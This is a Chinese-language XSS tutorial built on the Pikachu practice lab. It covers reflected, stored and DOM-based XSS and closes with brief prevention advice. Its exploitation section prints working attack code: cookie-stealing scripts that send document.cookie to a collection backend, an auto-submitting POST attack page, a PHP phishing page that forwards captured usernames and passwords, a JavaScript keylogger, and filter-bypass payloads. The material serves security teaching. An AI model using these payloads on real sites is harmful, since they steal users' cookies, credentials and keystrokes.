一、概述
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
二、环境
靶场:Pikachu
浏览器:火狐
三、反射型
交互的数据一般不会被存放在数据库里,一次性,所见即所得,一般出现在查询类页面等。
1.首先输入一些特殊字符(如:’"<>&1111)进行验证是否存在XSS漏洞
2.表单框输入一段js脚本进一步验证<script>alert('xss')</script>
四、存储型
交互的数据会被存放在数据库里面,永久性存储,一般出现在留言板,注册等页面。
- 存储型XSS和反射型XSS的测试流程一样;
- 存储型XSS危害比反射型XSS要高,所有访问该网站的用户都会中招;
1.首先输入一些特殊字符(如:’"<>&1111)进行验证是否存在XSS漏洞
2.表单框输入一段js脚本进一步验证<script>alert('xss')</script>
3.刷新页面,是否还触发脚本
五、DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码,输出的时候产生的问题。
1.按F12查看表单原码,从原码可以看出是一个纯dom操作
2.构造恶意js代码
原字符串:"<a href='"+xss+"'>就让往事都随风,都随风吧</a>"
拼接恶意js:<a href=' ' onclick = "alert(111)"> '>就让往事都随风,都随风吧</a>
表单框输入: ' onclick = "alert(111)">
六、XSS漏洞利用
攻击者的后台为pikachu内置的pkxss后台,用来收集用户信息。
案例一 :cookie获取(反射型XSS【get】)
1.攻击流程图
2.构造获取cookies的恶意脚本(携带cookie重定向到我们的pkxss后台)
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
3.点击提交,这时pkxss后台就会多一条数据,获取cookie成功!
4.这时把referer发送给用户,欺骗受害者点击链接,cookie就会被获取。
案例二 :cookie获取(反射型XSS【post】)
1.攻击流程图
2.攻击目标:存在xss漏洞的网站
3.伪造页面:由于post请求,js恶意脚本无法伪装在URL里,这时需要搭建一个恶意站点post.html。
<html>
<head>
<script>
//当用户点击加载页面时,自动提交到存在xss漏洞的站点
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<!--
action为存在xss漏洞的请求链接
-->
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<!--
value为恶意脚本
-->
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
4.窃取cookie:将搭建的恶意站点链接发给用户,欺骗受害者点击链接,恶意网站(post.html)就会自动提交一个携带恶意脚本的post请求。这时攻击就完成了,pkxss后台就会多一条数据。
案例三 钓鱼网站(存储型XSS)
1.构建恶意站点fish.php(发送认证框,将结果发送给搜集信息的后台)
/*
* fish.php
*/
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
2.向存在存储型XSS漏洞的表单框中输入恶意代码,点击提交,恶意代码就会存储在数据库里。只要有人访问了该网站就会执行恶意代码,发送认证框,让用户输入账号密码。
恶意代码:<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
3.当用户安全意识不足输入账号密码时,攻击就完成,pkxss后台就能获取用户的账号密码
案例四 键盘记录
1.获取键盘输入的js(rk.js)
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax=";
//获取键盘输入
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}
2.向存在存储型XSS漏洞的表单框中输入恶意代码,点击提交,恶意代码就会存储在数据库里。只要有人访问了该网站就会执行恶意代码,每当用户敲击键盘就会向pkxss后台发送键盘信息。
恶意代码:<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
七、XSS绕过
1.前端限制绕过,直接抓包重放,或者修改前端代码
2.大小写,比如:<SCript>aLert(111)</sCRIpt>
3.拼凑:<scr<script>ipt>alert(111)</scr</script>ipt>
4.使用注释进行干扰:<scr<!--test-->ipt>alert(111)</scr<!--test-->ipt>
5.htmlspecialchars()函数绕过:该函数默认情况是不对单引号(’)进行过滤的
htmlspecialchars()函数处理: <p class='notice'>你的输入已经被记录:</p><a href=''<>"11'>'<>"11</a>
插入恶意脚本:<p class='notice'>你的输入已经被记录:</p><a href='' οnclick='alert(11)''>' οnclick='alert(11)'</a>
6.href输出绕过:可以通过javascript:
<a href="javascript:alert(11)"> 阁下自己输入的url还请自己点一下吧</a>
7.js输出绕过
<script>
$ms=''"<>&1111'; //输入的字符串会输出到js里
//$ms='</script><script>alert(111)</script>' 设计恶意脚本
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
八、XSS漏洞预防
一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;